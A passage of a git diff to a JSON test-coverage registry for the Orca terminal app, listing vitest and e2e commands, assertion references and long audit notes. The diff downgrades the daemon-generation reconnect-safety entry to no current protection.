concurrent provider shutdowns\"\n ]\n },\n {\n \"file\": \"tests/e2e/agent-descendant-process-kill.spec.ts\",\n \"assertions\": [\n \"a detached-pgid descendant is alive before agent PTY kill and absent afterward\"\n ]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/terminal/surface/orca-runtime-terminal-close-continuity.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/construction/orca-runtime.test.ts\",\"pnpm dlx node@24 ./node_modules/vitest/vitest.mjs run --config config/vitest.config.ts src/main/agent-hooks/server/testing/authority/server-pane-authority.test.ts src/main/ipc/agent-hooks/agent-pane-authority-ownership.test.ts src/main/persistence/restoring-sessions/persistence-pane-identity-migration.test.ts src/main/persistence/loading-store/terminal-bindings/persistence-pty-binding-reconciliation.test.ts src/renderer/src/components/shared/kill-all-terminal-surfaces.test.ts\",\"pnpm exec vitest run --config config/vitest.config.ts src/main/pty/process-retirement/pty-descendant-termination.test.ts src/main/daemon/terminal-host/testing/terminal-host.test.ts src/main/providers/local-pty/local-pty-provider-shutdown.test.ts src/main/runtime/workspaces/removal/worktree-teardown.test.ts\",\"pnpm run test:e2e -- tests/e2e/terminal/retention/terminal-parked-close-retirement.spec.ts --workers=1\",\"pnpm run test:e2e -- tests/e2e/agents/session-lifecycle/agent-descendant-process-kill.spec.ts --workers=1\"],\"testFiles\":[\"src/main/runtime/terminal/surface/orca-runtime-terminal-close-continuity.test.ts\",\"src/main/runtime/construction/orca-runtime.test.ts\",\"src/main/agent-hooks/server/testing/authority/server-pane-authority.test.ts\",\"src/main/ipc/agent-hooks/agent-pane-authority-ownership.test.ts\",\"src/main/persistence/restoring-sessions/persistence-pane-identity-migration.test.ts\",\"src/main/persistence/loading-store/terminal-bindings/persistence-pty-binding-reconciliation.test.ts\",\"src/main/pty/process-retirement/pty-descendant-termination.test.ts\",\"src/main/daemon/terminal-host/testing/terminal-host.test.ts\",\"src/main/providers/local-pty/local-pty-provider-shutdown.test.ts\",\"src/main/runtime/workspaces/removal/worktree-teardown.test.ts\",\"src/renderer/src/components/shared/kill-all-terminal-surfaces.test.ts\",\"tests/e2e/terminal/retention/terminal-parked-close-retirement.spec.ts\",\"tests/e2e/agents/session-lifecycle/agent-descendant-process-kill.spec.ts\"],\"assertionRefs\":[{\"file\":\"src/main/runtime/terminal/surface/orca-runtime-terminal-close-continuity.test.ts\",\"assertions\":[\"renderer reload with the same provider-attested PTY incarnation preserves the exact handle\",\"same-id replacement incarnation publishes a new handle and makes the old handle deterministically stale\",\"hard graph loss and preallocated-handle supersession make the retained renderer handle deterministically stale\"]},{\"file\":\"tests/e2e/terminal/retention/terminal-parked-close-retirement.spec.ts\",\"assertions\":[\"a long-lived exact PTY remains alive after its terminal view is parked\",\"closing the parked tab removes the exact PTY from the provider inventory and the visible tab model\"]},{\"file\":\"src/main/ipc/agent-hooks/agent-pane-authority-ownership.test.ts\",\"assertions\":[\"pane authority transfer accepts only the canonical legacy/scoped runtime handle bound to the authoritative pane\"]},{\"file\":\"src/main/runtime/workspaces/removal/worktree-teardown.test.ts\",\"assertions\":[\"owned provider shutdowns start together so process-table snapshots can coalesce within a batch\",\"inventories above 32 sessions never exceed 32 concurrent provider shutdowns\"]},{\"file\":\"tests/e2e/agents/session-lifecycle/agent-descendant-process-kill.spec.ts\",\"assertions\":[\"a detached-pgid descendant is alive before agent PTY kill and absent afterward\"]}]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"macos\"],\"coveredProviders\":[\"local\",\"daemon\",\"ssh\",\"runtime\"],\"redGreenEvidence\":{\"status\":\"missing\",\"evidence\":\"Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): STA-4327 used two byte-identical oracles. Runtime oracle cd248b67cc10ef64f2def315b86c3b0236b102639d03c65a0c5d9519e538d3af failed the same three durability/continuity checks on reported v1.4.180 (0b62333cf1), latest main (9bb8836bb6), and disabled fix; runtime candidate 3cf8a37447 passed 5/5, and final code candidate 121e112d77 separately passed its expanded 6/6 oracle. Renderer oracle 3b0949eef8b792cf5b09cfa55341f4216c08714f158e4b132e988e8114636cea failed both explicit-empty hydration/fallback checks on v1.4.180, latest main, and disabled fix, while renderer candidate 121e112d77 passed 2/2. The 1.4.187 recurrence oracle deterministically failed with historical tab_not_found when PTY stop was moved ahead of durable retirement, then passed with retirement committed before externally owned teardown while the canary remained live.\"},\"flakeHistory\":{\"status\":\"unknown\",\"evidence\":\"The Electron gate passed three times locally, including the final review-fix head through the registered fresh-build command; CI and soak history are not yet available.\"},\"runtimeBudget\":{\"p95Seconds\":60,\"scope\":\"fresh E2E build plus isolated local Electron parked-close and descendant-kill tests\"},\"performanceBudget\":{\"required\":true,\"evidence\":\"The close path is user-triggered and bounded by canonical live-owner indexing. Production ps has a 1s kill timeout; 20 same-turn requests execute one fresh process-table read, while requests arriving after a scan starts immediately share one successor so their deadline is not consumed waiting and no unusable ps starts after timeout. Completed tables are never reused. Bulk worktree shutdown runs in 32-wide batches so each batch can coalesce its initial scan without unbounded provider fanout. Descendant traversal uses a visited set and index cursor; a Node 24 local 100,000-wide synthetic tree fell from 861ms to 16.7ms, and escalation indexes only the requested descendant PIDs instead of duplicating the full process table. Escalation uses the same bounded coordinator, and kill-all store scale remains covered by terminal-session.kill-all-surface-cleanup.\"}}" ], "demotionRule": "Keep experimental or demote to protection none if exact PTY disappearance flakes, a sibling/detached pane is retired, late hooks can recreate closed authority, or a renderer graph sync retires a host-created tab that no explicit close retired." }, @@ -6034,7 +5343,7 @@ "id": "terminal-session.daemon-generation-reconnect-safety", "title": "Negotiated close intent protects live daemon-generation terminals", "maturity": "experimental", - "protection": "partial", + "protection": "none", "owner": "terminal-runtime", "layer": "renderer-runtime-rpc-daemon-contract", "surfaces": [ @@ -6046,9 +5355,9 @@ ], "platforms": ["macos", "linux", "windows"], "providers": ["daemon", "runtime", "ssh", "wsl"], - "coveredPlatforms": ["linux", "macos", "windows"], - "coveredProviders": ["daemon", "runtime"], - "coverageNotes": "Audit5922 intentionally retires mixed split/agent parking eligibility classification; incorrect eligibility can unmount a still-needed terminal or hide resume, though the retired predicate suite never mounts or resumes the actual view. These narrow alarms are lost without equivalent replacement. Remaining selectors/assertions and dated evidenceRuns retain their original scope; no fresh validation or whole-gate replacement claim. Preserve complete historical narratives and earlier knownGaps verbatim. Complete prior account retained verbatim: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. Audit3881 intentionally removes the entire legacy E2EE channel and mobile socket-wiring test suites and the v2 additive runtime-capability refusal callback, without equivalent replacement. Those deleted suites leave current selectors and that v2 assertion alias is retired. Retained v2 replay/queue-counter cases do not establish the removed capability refusal. Reduced test bytes/selectors have no fresh execution in this static packet; independent dated daemon E2E receipts retain their complete original scope. Historical prior account (preserved verbatim): Git owner cleanup retires the mixed request-connection suite under repository test policy, including its encrypted request cancellation and cached paired-desktop authentication alarms, without equivalent replacement. Current commands and assertion references omit the retired suite; dated evidence retains its original scope and does not validate this reduced set. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit2153: Reduced sources intentionally lose the forwarding smoke and retire an unrelated current selector; historical runs do not validate changed source bytes. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2020: The CLI WebSocket source retains old-protocol refusal only; its paired-open, capability, timeout and admission projection examples are removed. No daemon-generation coverage is transferred to that callback. Both independent daemon E2E receipts remain unchanged at their original commands; the reduced unit selector has no fresh result. Historical prior account (preserved verbatim): Audit1983: Delete the reasonless-close scalar suite and optional-capability socket forwarding alias. Delete the mocked close-attribution topology field-inventory suite and its aliases/selectors; preserve independent dated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1959 (sources 1957:11, 1957:35, 1957:36): The fixture-supplied repository roundtrip, isolated capability metadata readback, parser/default-timer/size-threshold/internal failure-counter examples and standalone handshake-only replay example are removed. Source11 retains real encrypted multi-client event ordering, reconnect snapshot and multiplex delivery under synthetic runtime state, and does not establish the broad handshake-to-reasonless-close refusal alias; retire that whole assertion object. Source36 capability metadata readback alias is retired. Source35 retains the actual v2 runtime-only metadata/downgrade refusal callback and captured mutating-trace fresh-nonce rejection; its mapped mobile-v2 refusal alias remains within modeled credential lookup scope. Both independent daemon E2E dated receipts remain byte-exact with their original commands and results. No historical passed receipt is narrowed or transferred to changed source bytes. No fresh execution, equivalent replacement, physical provider/PTY, live remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed by this metadata packet. Historical prior account (preserved verbatim): Audit1939 (sources1934/1935): Retain actual parked exit/disposal/cancel/leaf progression using injected exit and close adapters. The retained last-watcher case checks exact lifecyclePtyId, but no retained callback establishes the whole existing replacement-or-sibling-incarnation alias. Retire that broad assertion object rather than transfer partial support. Capability admission, static fields and duplicate routing examples are intentionally lost; unchanged daemon E2E receipts remain scoped to their own commands. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): The browser auth capability-advertisement case is removed in this audit; its direct encrypted-auth literal alarm is lost. Retained lifecycle evidence is not an equivalent replacement. Historical run commands and results remain historical. Recorded native Windows evidence covers the v21/v22/v23/v24/v25 named-pipe matrix. The deterministic daemon harness covers capable and legacy paired-runtime request shapes against live v25/v26 PTYs in separate worktrees, plus an unrelated control. Host/renderer tests cover old servers, missing liveness, stale publications, reused claims, split parents, explicit user intent, cross-profile isolation, remote runtime clients, SSH-provider routing, and WSL boundaries. A headed host paired to a separate live client, headless serve parity, Linux, SSH, and WSL remain explicit gaps. The audit removed private-router tests of mocked kill results and log fields. Their isolated success/failure attribution and pending-spawn tolerance alarms are no longer registered here; live lifecycle evidence does not establish equivalent log coverage. The isolated close-intent suite was removed. web-runtime-session.test.ts no longer supplies the lifecycle-close or old-server method-not-found assertions formerly referenced here. Their direct partition and RPC-shape alarms are lost; retained live daemon evidence does not establish equivalent coverage. The broad mirror fixture retains user-close suppression, refused-close reconciliation and optimistic reorder only. Its earlier reconnect/incarnation and projection examples no longer establish current daemon-generation coverage. Those narrow alarms are lost; other daemon evidence is not equivalent replacement coverage. Audit1318: src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts: Retain real local encrypted WebSocket regressions for pre-ready socket replacement preserving a request, close-before-ready logical subscription cleanup, unrelated RPC surviving another deadline, and pending setup abort leaving a sibling pending. Host server is synthetic and uses production crypto; kept scenarios also retain internal diagnostics/memory assertions unchanged. Remove happy routing, authority-envelope, unknown-ID/log, cleanup enum, binary, keepalive/liveness and production-budget/private socket inventories; intentionally lose those alarms, no physical host authorization, independent crypto or remote provider claim. Reduced selectors need fresh validation; historical full-suite receipts do not validate the changed coverage. No equivalent replacement or physical-provider claim. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Prospective settings-host12 runtime-ipc110 reduction: The runtime compatibility driver is intentionally narrowed by runtime-ipc110 whole-registration policy: four imported TEST fragments are retired and reviewed partial fragments lose complete callbacks. Full path/title/hash and lost-alarm records are bound in the local runtime-ipc110 recipe. This is an import-closure disclosure; command filters may select only part of that driver. All remaining selectors keep only their own bounded scope. Preserve every earlier narrative, historical assertion receipt and dated evidenceRun exactly. Historical runs do not validate the reduced registration set; no fresh test, timing, runtime or whole-gate pass is claimed. Module-layout cleanup: Removed paired-web client TEST alarms for connecting-search abort/pre-abort, rejecting pending connect waiters on close, retiring an expired-handshake socket and encrypted binary subscription interoperability. No replacement coverage or new execution is claimed; dated receipts describe their original runs.", + "coveredPlatforms": [], + "coveredProviders": [], + "coverageNotes": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit5922 intentionally retires mixed split/agent parking eligibility classification; incorrect eligibility can unmount a still-needed terminal or hide resume, though the retired predicate suite never mounts or resumes the actual view. These narrow alarms are lost without equivalent replacement. Remaining selectors/assertions and dated evidenceRuns retain their original scope; no fresh validation or whole-gate replacement claim. Preserve complete historical narratives and earlier knownGaps verbatim. Complete prior account retained verbatim: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. Audit3881 intentionally removes the entire legacy E2EE channel and mobile socket-wiring test suites and the v2 additive runtime-capability refusal callback, without equivalent replacement. Those deleted suites leave current selectors and that v2 assertion alias is retired. Retained v2 replay/queue-counter cases do not establish the removed capability refusal. Reduced test bytes/selectors have no fresh execution in this static packet; independent dated daemon E2E receipts retain their complete original scope. Historical prior account (preserved verbatim): Git owner cleanup retires the mixed request-connection suite under repository test policy, including its encrypted request cancellation and cached paired-desktop authentication alarms, without equivalent replacement. Current commands and assertion references omit the retired suite; dated evidence retains its original scope and does not validate this reduced set. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit2153: Reduced sources intentionally lose the forwarding smoke and retire an unrelated current selector; historical runs do not validate changed source bytes. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2020: The CLI WebSocket source retains old-protocol refusal only; its paired-open, capability, timeout and admission projection examples are removed. No daemon-generation coverage is transferred to that callback. Both independent daemon E2E receipts remain unchanged at their original commands; the reduced unit selector has no fresh result. Historical prior account (preserved verbatim): Audit1983: Delete the reasonless-close scalar suite and optional-capability socket forwarding alias. Delete the mocked close-attribution topology field-inventory suite and its aliases/selectors; preserve independent dated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1959 (sources 1957:11, 1957:35, 1957:36): The fixture-supplied repository roundtrip, isolated capability metadata readback, parser/default-timer/size-threshold/internal failure-counter examples and standalone handshake-only replay example are removed. Source11 retains real encrypted multi-client event ordering, reconnect snapshot and multiplex delivery under synthetic runtime state, and does not establish the broad handshake-to-reasonless-close refusal alias; retire that whole assertion object. Source36 capability metadata readback alias is retired. Source35 retains the actual v2 runtime-only metadata/downgrade refusal callback and captured mutating-trace fresh-nonce rejection; its mapped mobile-v2 refusal alias remains within modeled credential lookup scope. Both independent daemon E2E dated receipts remain byte-exact with their original commands and results. No historical passed receipt is narrowed or transferred to changed source bytes. No fresh execution, equivalent replacement, physical provider/PTY, live remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed by this metadata packet. Historical prior account (preserved verbatim): Audit1939 (sources1934/1935): Retain actual parked exit/disposal/cancel/leaf progression using injected exit and close adapters. The retained last-watcher case checks exact lifecyclePtyId, but no retained callback establishes the whole existing replacement-or-sibling-incarnation alias. Retire that broad assertion object rather than transfer partial support. Capability admission, static fields and duplicate routing examples are intentionally lost; unchanged daemon E2E receipts remain scoped to their own commands. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): The browser auth capability-advertisement case is removed in this audit; its direct encrypted-auth literal alarm is lost. Retained lifecycle evidence is not an equivalent replacement. Historical run commands and results remain historical. Recorded native Windows evidence covers the v21/v22/v23/v24/v25 named-pipe matrix. The deterministic daemon harness covers capable and legacy paired-runtime request shapes against live v25/v26 PTYs in separate worktrees, plus an unrelated control. Host/renderer tests cover old servers, missing liveness, stale publications, reused claims, split parents, explicit user intent, cross-profile isolation, remote runtime clients, SSH-provider routing, and WSL boundaries. A headed host paired to a separate live client, headless serve parity, Linux, SSH, and WSL remain explicit gaps. The audit removed private-router tests of mocked kill results and log fields. Their isolated success/failure attribution and pending-spawn tolerance alarms are no longer registered here; live lifecycle evidence does not establish equivalent log coverage. The isolated close-intent suite was removed. web-runtime-session.test.ts no longer supplies the lifecycle-close or old-server method-not-found assertions formerly referenced here. Their direct partition and RPC-shape alarms are lost; retained live daemon evidence does not establish equivalent coverage. The broad mirror fixture retains user-close suppression, refused-close reconciliation and optimistic reorder only. Its earlier reconnect/incarnation and projection examples no longer establish current daemon-generation coverage. Those narrow alarms are lost; other daemon evidence is not equivalent replacement coverage. Audit1318: src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts: Retain real local encrypted WebSocket regressions for pre-ready socket replacement preserving a request, close-before-ready logical subscription cleanup, unrelated RPC surviving another deadline, and pending setup abort leaving a sibling pending. Host server is synthetic and uses production crypto; kept scenarios also retain internal diagnostics/memory assertions unchanged. Remove happy routing, authority-envelope, unknown-ID/log, cleanup enum, binary, keepalive/liveness and production-budget/private socket inventories; intentionally lose those alarms, no physical host authorization, independent crypto or remote provider claim. Reduced selectors need fresh validation; historical full-suite receipts do not validate the changed coverage. No equivalent replacement or physical-provider claim. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Prospective settings-host12 runtime-ipc110 reduction: The runtime compatibility driver is intentionally narrowed by runtime-ipc110 whole-registration policy: four imported TEST fragments are retired and reviewed partial fragments lose complete callbacks. Full path/title/hash and lost-alarm records are bound in the local runtime-ipc110 recipe. This is an import-closure disclosure; command filters may select only part of that driver. All remaining selectors keep only their own bounded scope. Preserve every earlier narrative, historical assertion receipt and dated evidenceRun exactly. Historical runs do not validate the reduced registration set; no fresh test, timing, runtime or whole-gate pass is claimed. Module-layout cleanup: Removed paired-web client TEST alarms for connecting-search abort/pre-abort, rejecting pending connect waiters on close, retiring an expired-handshake socket and encrypted binary subscription interoperability. No replacement coverage or new execution is claimed; dated receipts describe their original runs.", "motivatingLinks": [ "https://github.com/stablyai/orca/issues/9749", "https://github.com/stablyai/orca/issues/9949", @@ -6057,84 +5366,26 @@ "https://github.com/stablyai/orca/issues/9229" ], "invariant": "Reconnect, replay, or lifecycle observations from a viewer that negotiated explicit close intent must never kill a live PTY. A capable reasonless close must keep and republish; a legacy paired viewer must retain current-main behavior because its intentional close and cleanup echo are wire-identical. Lifecycle close requires the exact observed publication, terminal, environment, and authoritative liveness, never signals a process, and leaves renderer-owned or partial-split retirement to its owner. Legacy daemon hello and warm reattachment remain non-destructive.", - "oracle": "Runtime layout cleanup intentionally retires the removed compatibility callbacks and wholly removed fragments without replacement coverage. The compatibility entrypoint retains only its surviving registration scope. Existing independent dated receipts remain at their original commands and scopes; no fresh runtime, native, remote or platform execution is claimed. Prior account preserved verbatim: Audit5922 intentionally retires mixed split/agent parking eligibility classification; incorrect eligibility can unmount a still-needed terminal or hide resume, though the retired predicate suite never mounts or resumes the actual view. These narrow alarms are lost without equivalent replacement. Remaining selectors/assertions and dated evidenceRuns retain their original scope; no fresh validation or whole-gate replacement claim. Preserve complete historical narratives and earlier knownGaps verbatim. Complete prior account retained verbatim: Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3881 intentionally removes the entire legacy E2EE channel and mobile socket-wiring test suites and the v2 additive runtime-capability refusal callback, without equivalent replacement. Those deleted suites leave current selectors and that v2 assertion alias is retired. Retained v2 replay/queue-counter cases do not establish the removed capability refusal. Reduced test bytes/selectors have no fresh execution in this static packet; independent dated daemon E2E receipts retain their complete original scope. Historical prior account (preserved verbatim): Audit3832 